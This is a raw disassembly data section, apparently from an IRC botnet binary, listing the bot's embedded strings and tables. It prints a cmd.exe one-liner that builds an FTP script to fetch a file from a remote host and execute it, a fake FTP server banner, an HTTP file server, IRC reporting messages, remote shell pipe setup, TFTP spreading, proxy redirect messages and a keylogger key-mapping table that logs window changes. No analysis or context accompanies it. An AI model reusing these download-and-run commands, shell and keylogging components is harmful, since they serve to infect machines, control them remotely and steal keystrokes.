align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40EF74+130o
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40F160+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F402+1C9o
align 4
; char aSS_3[]
aSS_3 db '%s %s',0 ; DATA XREF: sub_40F402+251o
align 4
; char aUser_1[]
aUser_1 db 'USER',0 ; DATA XREF: sub_40F402+262o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F402+277o
align 4
; char aPass[]
aPass db 'PASS',0 ; DATA XREF: sub_40F402+287o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F402+29Bo
align 4
; char aSyst[]
aSyst db 'SYST',0 ; DATA XREF: sub_40F402+2ABo
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F402+2BFo
align 4
; char aRest[]
aRest db 'REST',0 ; DATA XREF: sub_40F402+2CFo
align 4
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F402+2E3o
align 10h
; char off_44A5C0[]
off_44A5C0 dd offset aAugustus+8 ; DATA XREF: sub_40F402+2F3o
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F402+307o
align 4
; char aType[]
aType db 'TYPE',0 ; DATA XREF: sub_40F402+317o
align 4
; char aA_0[]
aA_0: ; DATA XREF: sub_40F402+32Eo
unicode 0, <A>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F402+342o
; char aType_0[]
aType_0 db 'TYPE',0 ; DATA XREF: sub_40F402+352o
align 4
; char aI[]
aI: ; DATA XREF: sub_40F402+369o
unicode 0, <I>,0
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F402+37Do
; char aPasv[]
aPasv db 'PASV',0 ; DATA XREF: sub_40F402+38Do
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F402+3A0o
align 4
; char aList_0[]
aList_0 db 'LIST',0 ; DATA XREF: sub_40F402+3DBo
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F402+3EEo
align 4
; char aPort[]
aPort db 'PORT',0 ; DATA XREF: sub_40F402+41Co
align 10h
; char aS_24[]
aS_24 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F402+455o
db ']',0
; char aXX[]
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F402+499o
align 10h
; char aS_S_S_S[]
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F402+4CCo
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F402+4DDo
align 4
; char aRetr[]
aRetr db 'RETR',0 ; DATA XREF: sub_40F402+4F2o
align 4
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F402+50Ao
align 10h
; char aFtpTransferSta[]
aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40F402+533o
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F402+57Do
; char aFtpTransferCom[]
aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40F402+58Fo
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F402+5E0o
align 4
; char aQuit_1[]
aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40F402+5EDo
align 10h
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F402+601o
; char aRb[]
aRb db 'rb',0 ; DATA XREF: sub_40FAB6+24o
align 10h
; char aGet_0[]
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FB50+26Fo
align 4
; char asc_44A7B8[]
asc_44A7B8: ; DATA XREF: sub_40FB50+292o
unicode 0, < >,0
; char asc_44A7BC[]
asc_44A7BC: ; DATA XREF: sub_40FB50+297o
unicode 0, < >,0
; char aGet_1[]
aGet_1 db 'GET ',0 ; DATA XREF: sub_40FB50+2A2o
align 4
; char asc_44A7C8[]
asc_44A7C8 db 0Dh,0Ah,0 ; DATA XREF: sub_40FB50+2D5o
align 4
; char asc_44A7CC[]
asc_44A7CC db '-' ; DATA XREF: sub_40FB50+3FEo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FFB1+5Fo
align 10h
; char aApplicationOct[]
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FFB1:loc_410017o
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FFB1+84o
align 10h
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FFB1+98o
align 4
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFB1+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFB1+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aS_25 db '\%s',0 ; DATA XREF: sub_410134+2Fo
; char aS_26[]
aS_26 db '%s',0 ; DATA XREF: sub_410134+3Ao
align 10h
; char aSS_4[]
aSS_4 db '%s%s',0 ; DATA XREF: sub_410134+EAo
align 4
; char asc_44AA18[]
asc_44AA18: ; DATA XREF: sub_410134+FBo
dw 0Ah
unicode 0, <>,0
; char asc_44AA1C[]
asc_44AA1C: ; DATA XREF: sub_410134+15Ao
unicode 0, <*>,0
; char asc_44AA20[]
asc_44AA20 db '-' ; DATA XREF: sub_410134+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
; char asc_44AA54[]
asc_44AA54 db '-' ; DATA XREF: sub_410134+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_39 db ' failed to start worker thread, error %d',0
align 4
; char asc_44AA8C[]
asc_44AA8C db 0Ah,0 ; DATA XREF: sub_4103EB+29o
align 10h
; char aPrivmsgSSearch[]
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+4Bo
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4103EB+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4103EB+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aSearchingForS[]
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+149o
; char aTrTdColspan3AH[]
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char a__[]
a__ db '..',0 ; DATA XREF: sub_4103EB+237o
align 10h
; char a__2[]
a__2: ; DATA XREF: sub_4103EB+252o
unicode 0, <.>,0
aPm_0 db 'PM',0 ; DATA XREF: sub_4103EB+28Ao
align 4
aAm db 'AM',0 ; DATA XREF: sub_4103EB+295o
align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4103EB+2BFo
; char aS_27[]
aS_27 db '<%s>',0 ; DATA XREF: sub_4103EB+2E9o
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4103EB+310o
align 10h
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+328o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
; char aSS_5[]
aSS_5 db '%s%s/',0 ; DATA XREF: sub_4103EB+36Co
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4103EB+3B3o
align 4
; char aCodeSCodeA[]
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4103EB:loc_4107A5o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4103EB+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aS_28[]
aS_28 db '<%s>',0 ; DATA XREF: sub_4103EB+40Bo
align 10h
; char a31s21s[]
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+42Fo
align 10h
; char aPrivmsgS31s2_0[]
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4103EB+46Eo
align 4
; char aTrTdWidthDAH_0[]
aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
; char aSS_6[]
aSS_6 db '%s%s',0 ; DATA XREF: sub_4103EB+4DAo
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4103EB+521o
align 10h
; char aCodeSCodeA_0[]
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4103EB:loc_410913o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4103EB+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
; char a31s21sIBytes[]
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+58Do
align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4103EB+61Co
align 4
; char aTrTdColspan3_0[]
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
; char aFoundIFilesAnd[]
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4103EB+652o
align 4
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410B5C+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
; char asc_44AF64[]
asc_44AF64 db '-' ; DATA XREF: sub_410C7D+BBo
db 3, 34h, 2
dd 6E656469h, 3026474h
aClientConnecti db '- client connection from %s:%d.',0
; char aUseridUnixS[]
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410C7D+116o
; char asc_44AFA8[]
asc_44AFA8 db '-' ; DATA XREF: sub_410C7D+171o
db 3, 34h, 2
dd 6E656469h, 3026474h
aServerFailed_0 db '- server failed, returned %d',0
align 4
; char asc_44AFD4[]
asc_44AFD4 db '-' ; DATA XREF: sub_410E2B+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
; char asc_44B01C[]
asc_44B01C db '-' ; DATA XREF: sub_410E2B+15Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_40 db 'Failed to start client thread, error: <%d>.',0
; char asc_44B058[]
asc_44B058 db '-' ; DATA XREF: sub_410FBC+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
; char asc_44B09C[]
asc_44B09C db '-' ; DATA XREF: sub_410FBC+1AAo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_41 db 'Failed to start connection thread, error: <%d>.',0
; char asc_44B0DC[]
asc_44B0DC db '-' ; DATA XREF: sub_411240+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_411240+172o
align 4
; char asc_44B11C[]
asc_44B11C db '-' ; DATA XREF: sub_411240+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
; char asc_44B144[]
asc_44B144 db '-' ; DATA XREF: sub_411240+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
; char asc_44B170[]
asc_44B170 db '-' ; DATA XREF: sub_411240+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
; char asc_44B19C[]
asc_44B19C db '-' ; DATA XREF: sub_411445:loc_41148Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
; char dword_44B1C8[]
dword_44B1C8 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_41149F+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
; char asc_44B238[]
asc_44B238 db '-' ; DATA XREF: sub_4114CE+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
; char asc_44B264[]
asc_44B264 db '-' ; DATA XREF: sub_4114CE+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
unk_44B2A8 db 2Dh ; - ; DATA XREF: sub_4114CE+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 4
; char asc_44B2E4[]
asc_44B2E4 db '-' ; DATA XREF: sub_4114CE+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
; char asc_44B328[]
asc_44B328 db '-' ; DATA XREF: sub_4114CE+1FBo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0
align 4
; char asc_44B364[]
asc_44B364 db '-' ; DATA XREF: sub_4114CE+219o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
; char asc_44B39C[]
asc_44B39C db '-' ; DATA XREF: sub_411756+59o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
; char asc_44B3E4[]
asc_44B3E4 db '-' ; DATA XREF: sub_411756+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
; char asc_44B42C[]
asc_44B42C db '-' ; DATA XREF: sub_411756+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 10h
unk_44B460 db 2Dh ; - ; DATA XREF: sub_4118A7+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
; char asc_44B4A0[]
asc_44B4A0 db '-' ; DATA XREF: sub_4118A7+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 10h
unk_44B4E0 db 2Dh ; - ; DATA XREF: sub_4118A7+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4119A0+8Co
align 10h
; char asc_44B510[]
asc_44B510 db '-' ; DATA XREF: sub_4119A0+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
; char asc_44B548[]
asc_44B548 db '-' ; DATA XREF: sub_411A79+A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
; char asc_44B584[]
asc_44B584 db '-' ; DATA XREF: sub_411C4E+A8o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aServerStarte_5 db '- Server started on: %s:%d.',0
; char asc_44B5AC[]
asc_44B5AC db '-' ; DATA XREF: sub_411C4E+114o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
; char asc_44B5F0[]
asc_44B5F0 db '-' ; DATA XREF: sub_411C4E+18Fo
db 3, 34h, 2
dd 6B636F73h, 3023473h
aFailedToSta_43 db '- Failed to start client thread, error: <%d>.',0
align 4
; char asc_44B62C[]
asc_44B62C db '-' ; DATA XREF: sub_411C4E+1B2o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aFailedToSta_44 db '- Failed to start server on Port %d.',0
align 10h
; char dword_44B660[]
dword_44B660 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411E53+F2o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 10h
; char dword_44B6A0[]
dword_44B6A0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411E53+18Ao
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 10h
; char dword_44B6E0[]
dword_44B6E0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411E53+1F9o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
aOctet db 'octet',0
align 4
; char aRb_0[]
aRb_0 db 'rb',0 ; DATA XREF: sub_412217+130o
align 10h
; char aTftpTransferSt[]
aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_412217+2CDo
align 10h
; char aTftpTransferCo[]
aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_412217+3C4o
align 10h
dword_44B770 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_412217+41Co
dd 8
dword_44B784 dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_412775:loc_412858o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_44BEB4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_412775+2B6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
; char asc_44BEEC[]
asc_44BEEC db '\',0 ; DATA XREF: sub_412694+2Co
align 10h
; char aAb[]
aAb db 'ab',0 ; DATA XREF: sub_412694+4Eo
align 4
; char aDDDDDDS[]
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_412694+88o
align 10h
; char asc_44BF10[]
asc_44BF10 db '-' ; DATA XREF: sub_412694+AEo
db 3, 34h, 2
dd 6C79656Bh, 302676Fh, 7325202Dh, 0
; char aSChangedWindow[]
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_412775+8Fo
align 10h
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_412775+1E5o
align 4
; char aSReturnS[]
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_412775+228o
align 10h
off_44BF70 dd offset dword_44C7D8 ; DATA XREF: sub_412A56+2B9r
dd offset dword_44C7DC
dd offset dword_44C7E0
dd offset aHttp_0 ; "HTTP"
; char a_login[]
a_login db ':.login',0 ; DATA XREF: sub_412A56+1DEo
dd 3 dup(0)
